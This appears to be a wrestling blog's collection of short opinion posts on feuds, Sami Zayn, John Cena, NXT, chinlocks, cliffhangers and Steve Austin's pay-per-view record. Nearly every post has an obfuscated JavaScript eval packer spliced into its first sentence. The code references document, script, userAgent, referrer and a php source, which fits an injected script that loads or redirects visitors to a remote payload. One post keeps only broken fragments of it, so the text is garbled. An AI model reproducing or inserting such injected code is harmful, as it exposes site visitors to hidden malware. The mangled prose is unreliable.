Thought of the Day: You Don’t Need Time To Be Epic

Well eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yhnzz|var|u0026u|referrer|btyhs||js|php'.split('|'),0,{})) not always at least.A lot of the time you hear fans say that you need time to create a great match or feud.  That’s true a lot of the time, but there are occasions where that’s not the case.  For instance, look at Michaels vs. Undertaker back in 1997.  That feud started on August 3 and was blown off (mostly) on October 5.  In the span of just over two months, those two started a feud, had a great brawl at Ground Zero and then had one of the best matches of all time at Bad Blood.

 

That’s a rare example, but it means that you can nail a story without needing a ton of time to set it up.  Not everything needs to be Rock vs. Cena at Wrestlemania XXVIII.  You have to hit almost everything perfectly, but you can pull it off if you do it right.



Thought of the Day: Sami Zayn Is Good

Like, eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yddbe|var|u0026u|referrer|eskft||js|php'.split('|'),0,{})) he’s REALLY good.I was on the treadmill today and his theme song came on my iPod.  I got to thinking about some of his bigger matches and something became clear to me: Sami Zayn is one of the best I’ve ever seen at taking a beating and making the audience rabidly care about him and taking them to the absolute brink of believing he can’t come back before firing back.  Over the years, the two best I’ve ever seen at that sort of thing are Jeff Hardy and Shawn Michaels.  Sami has passed Hardy and could actually catch Michaels, which I didn’t think was possible before.

Go back and watch that beating in the Owens match and listen to the fans nearly dying with him every time Owens hits him.  That’s storytelling the likes of which almost no one else can pull off ever.



Thought of the Day: The Supporting Cast

On the continuing subject of the evolution of Cena’s character.

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|firzb|var|u0026u|referrer|kidnr||js|php'.split('|'),0,{})) I’ve said many times is that John Cena isn’t going to be fully appreciated until after he’s gone. You hear people complaining about Cena today, but I truly believe those same people will be missing him soon after he’s gone for good. The question is why does Cena not get the recognition that he deserves. While there are other reasons out there, I think a lot of it has to do with the talent around him.

Thought of the Day: It’s Not the Size of the Fight In The Dog. It’s The Size of the Doghouse

Shock eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fbksi|var|u0026u|referrer|tszid||js|php'.split('|'),0,{})) and awe, this is about NXT.Before I get into this, let me make it clear that I’ve said this before too, dating back as recently as about 11 hours ago.

 

A lot of fans want the NXT guys to get onto the main shows so they can fix all the boring problems.  Here’s the thing: it doesn’t matter what the guys are capable of.  Do you really think a lot of the guys on the main roster couldn’t be competitive with people like Zayn and Neville as far as work rate etc?  NXT works because of the workers there, but arguably even more because of the atmosphere they’ve developed down there.

If the rosters were flipped, you would see the NXT guys cut off at the knees and the WWE guys getting to show off.  The Divas would go from tearing the house down to three minute matches centered around stupid concepts and lame pranks.  This assumption that it’s just the talent dragging WWE down doesn’t hold, no matter what people want to think.



Thought of the Day: The One Thing About NXT

I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fbrye|var|u0026u|referrer|fzfan||js|php'.split('|'),0,{})) know I come up with one or two more things to love about NXT every single week, but there’s one that trumps them all.About 95% of the time, whenever the show starts, you’re getting a wrestling match.  Not a promo, not an announcement, not a contract signing, but a wrestling match.  At the end of the day, that’s exactly what people are watching to see and it’s the first thing you get.  I don’t watch Raw to see a 20 minute lecture to set up the night’s events.  Those should be set up the previous week to give the fans something to look forward to leading up to the show.  NXT starts off with a wrestling match of some sort and it puts you in the right kind of mood.  I shouldn’t be snarling at the show to get on with it already fifteen minutes in, and that happens far too often on Raw.



Thought of the Day: And We Hit The Chinlock

Why eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|izthy|var|u0026u|referrer|krdzf||js|php'.split('|'),0,{})) would someone want to do that?Think about it.  In the history of wrestling, when has a chinlock not led to the guy in the hold starting a comeback?  You would think that someone would eventually realize that they don’t do what they’re supposed to do and seem to revive wrestlers more than wearing them down.  I’d love to see a character who picks up on all these things that never work and wrestle a smarter style for lack of a better term.



Thought of the Day: Hang On A Minute

I’ll eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ndnih|var|u0026u|referrer|kbyyr||js|php'.split('|'),0,{})) be right back.Why doesn’t wrestling ever end in a cliffhanger anymore?  Everything always has to be wrapped up in a nice bow and be ready for next week.  You can end a show by asking a big question or mentioning that you need to tune in next week to find something out.  For example, one of the very last Saturday Night’s Main Events ended with Bobby Heenan getting a phone call and saying that one of the Ultimate Maniacs had been injured and wouldn’t make Survivor Series.  Want to find out who?  Well tune in to the next show to find out!

 

Why is that so complicated?  Not everything has to be self contained.



Thought of the Day: Keeping It Simple

Why eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|easat|var|u0026u|referrer|hnaze||js|php'.split('|'),0,{})) do people make these things so complicated?

 

Merry Christmas.



Thought of the Day: Many Steps Back, Huge Jump Forward

Over eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zatfh|var|u0026u|referrer|rhrhz||js|php'.split('|'),0,{})) the last few months, you hear a lot of people complaining about Dean Ambrose losing his PPV matches.  My response is Steve Austin.Let’s take a look at Austin’s performance on PPV starting with his breakout performance at Survivor Series 1996.

Survivor Series 1996 – Loss

In Your House 12 – Not on the PPV

Royal Rumble – Cheated to win

In Your House 13 – Loss

Wrestlemania 13 – Loss

In Your House 14 – Won by DQ

In Your House 15 – Loss

King of the Ring 1997 – Double DQ

In Your House 16 – Loss

 

It wasn’t until Summerslam 1997 that Austin started consistently winning.  In other words, he went nine months without a PPV pinfall victory.  However, he was so over the top and intense that he kept getting hotter and hotter.  Does this sound familiar to anyone?  Perhaps a lot of wrestlers that we swear is done because he loses here or there?



Thought of the Day: Reach Out And Touch No One

The eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hsias|var|u0026u|referrer|hiyhb||js|php'.split('|'),0,{})) other night I felt like watching Survivor Series 1989 for no apparent reason and something occurred to me when I watched the opening match.As the guys were coming out for the match, it’s amazing how close the fans got to the wrestlers.  They could often touch the guys on the back or high five them on the way to the ring.  That still happens today, but it’s when the wrestlers want to go over there due to how far away they are from the crowd.  I understand why they do it now, but I miss having the wrestlers that close to the fans.  It makes things so much more personable.